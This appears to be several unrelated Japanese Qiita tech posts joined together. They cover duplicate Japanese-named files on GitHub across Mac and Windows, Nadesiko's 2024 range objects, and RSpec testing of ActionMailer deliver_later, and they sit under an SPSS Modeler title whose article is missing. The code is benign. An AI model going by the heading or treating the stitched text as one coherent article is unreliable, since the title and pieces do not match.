#### SPSS Modeler 逆引きストリーム集（データ加工）

https://qiita.com/416nishimaki/items/4bf813e6cba84b2a1008
Githubで同じファイル名のファイルが2つできてしまった！

結論からいうと、<b>Githubで日本語名ファイルを管理するのは辞めた方がよさそう</b>という話です。

事の発端：
所属している団体のリモートリポジトリに招待されて、ブランチを切って作業していたところ、なぜかファーストコミットの際に警告が出る。
「コード進捗管理.2411(仮名)がステージングされていません？なんだこりゃ。こんなファイル新しく作ってないしmainに元からあったファイルだぞ！」

このときの私はまあこんなこともあるか？と深く考えずaddしてコミットしてしまいました。

後日「あれ？私の作ったリモートブランチ、コード進捗管理.2411が2つある！ローカルでは1つしかないのに」

思い当たるのはこの前の警告文。よくわかんないので、pullしてみる。やっぱりローカルではファイルが一つのまま。

コード進捗管理.2410までは大丈夫なのになぜ2411だけがこんなことに？と思いつつ調べると、macとWindowsでは濁点のエンコーディング法が異なるという記事。

https://stakiran.hatenablog.com/entry/2018/01/05/143953

おそらくこれが原因そう。ファイルの作成者は11月初めにWindowsからMacにパソコンを買い替えたらしい。なるほどね？しかし私はMacユーザー。なぜMacで作成されたコード進捗管理.2411のみこんなことになってしまったのだろう？

とにかく、WindowsユーザとMacユーザが扱うリポジトリでは、日本語名ファイルを管理するのはやめたほうがよいですね。
「範囲オブジェクト」なでしこ2024年バージョンアップを振り返る

なでしこ開発者のクジラ飛行机です。今年も、なでしこの開発をたくさん行いました。一年の振り返りに、新機能やバージョンアップのハイライトを紹介したいと思います。

### 個人的に良かった機能は？…範囲オブジェクト！

2024年に追加した機能の中でも、特にユニークなのが範囲オブジェクトです。これは、今後のなでしこに新たな一歩を残すユニークな機能追加です。

- [なでしこ3マニュアル > 文法/範囲](https://nadesi.com/v3/doc/index.php?%E6%96%87%E6%B3%95%2F%E7%AF%84%E5%9B%B2&show)

特定の範囲を表すオブジェクトを生成するのが、範囲オブジェクトの機能です。

どのように使うのかと言うと

- 全角文字で「2…5」
- 半角文字で「2...5」
- 範囲関数を使って「2から5の範囲」

のように記述すると、範囲オブジェクトを生成するというだけの機能です。

これは、下記のプログラムをエディタで実行すると分かります。

```
3…5をJSONエンコードして表示
# → {"先頭":3,"末尾":5}

3から5の範囲をJSONエンコードして表示
# → {"先頭":3,"末尾":5}
```

なんと、先頭と末尾の二つの要素を持った辞書型データを生成するだけなんです。

### 範囲オブジェクト --- 何の役に立つの？

まずは、なでしこの「繰り返す」構文で、範囲オブジェクトを使えます。

```
3...5を繰り返す：
　　表示。
```

なでしこ3の[簡易エディタ](https://nadesi.com/doc3/go.php?10)で実行すると次のようになります。

![スクリーンショット 2024-11-13 16.12.11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/33180/46808f47-2b24-0182-5874-659a5215aed5.png)

### 範囲を利用する関数で役立つ

「乱数」関数も範囲オブジェクトに対応しています。次のように書くと、1から6の範囲のいずれかの整数を返します。

```
5回:
　　(1…6の乱数)を表示。
```

上記を実行すると、次のようになります。

![スクリーンショット 2024-11-13 16.21.21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/33180/37b1828a-7413-78cf-d881-a109aad3cd87.png)

### 範囲で配列の要素を参照する

次に、配列と範囲オブジェクトの組合せが便利です。「参照」関数を使えば配列の要素を参照できます。

```
A=[0,1,2,3,4,5,6,7,8,9]
Aの3…5を参照してJSONエンコードして表示
# → [3,4,5]
```

### 範囲で文字列の一部を参照する

同じような使い方ですが、文字列と範囲オブジェクトの組合せが便利です。「参照」関数を使えば文字列の一部を参照できます。

```
S=「0123456789」
Sの3…5を参照して表示
# → "345"
```

### ぜひ自作関数でも活用してください

このように、範囲オブジェクトが利用できると、とても手軽に範囲を指定できます。

範囲オブジェクトは冒頭で見たように、単なる「`{"先頭":3,"末尾":5}`」のような辞書型データです。これを利用すれば、自作関数でも便利に使えることでしょう。活用してみてください！
RSpecでActionMailerのテストでdeliver_laterがある際の対処法

[株式会社TECH LUCK](https://techluck.co.jp/?utm_source=qiita&utm_medium=article&utm_campaign=myarticle)という会社で代表兼エンジニアをしている齊藤です。

DXプロジェクト、開発プロジェクト、Rails開発などでお困りごとがありましたら[弊社HP](https://techluck.co.jp/?utm_source=qiita&utm_medium=article&utm_campaign=myarticle)からご相談をいただけますと幸いです。
以下のような問題に対応することが可能です。
- プロジェクトでRailsエンジニアが足りなくて困っている
- Railsのバージョンアップをしたいがノウハウ・リソースが足りなくて困っている
- オフショア開発をしているが、要件の齟齬やコード品質が悪いので改善したい

また、Railsエンジニアも募集しておりますので、興味がありましたら[弊社HP](https://techluck.co.jp/?utm_source=qiita&utm_medium=article&utm_campaign=myarticle)からご連絡いただけますと幸いです。


# 前提
RailsプロジェクトでRspecでActionMailerのメール送信処理がある際のテストコードを記述していました。
その際に、同期処理である `deliver_now` と非同期処理である `deliver_later` が混在している際に、どのようにテストするかでハマったのでメモとして残しておきます。

# コードの記述
`test.rb` の設定で `queue_adapter` を以下のように設定します。
この設定で基本的に `deliver_later`もすぐに実行されることになります。

```rb:test.rb
config.active_job.queue_adapter = :inline
```

ただし、`deliver_later` で `deliver_later(wait: 5.seconds)` と時間を指定して記述しているところはエラーとなってしまいました。理由は調べられていません。

そこで、そのメソッドが書かれている `describe` の下に `include ActiveJob::TestHelper` を追加します。

```rb
describe 'PATCH #update' do
  include ActiveJob::TestHelper #これを追加。

  it '管理者にメールが1件送信される' do
    expect do
      patch :update, params
    end.to have_enqueued_job.exactly(1).and have_enqueued_job(ActionMailer::DeliveryJob)
  end
end
```

これ記述することで、`config.active_job.queue_adapter = :inline` がこの `describe` の中では自動的に `:test` となります。
また、`have_enqueued_job` のマッチャーも使えるようになるため、これでメール送信処理が `queue` に入ったかどうかテストをすることができます。

以上です。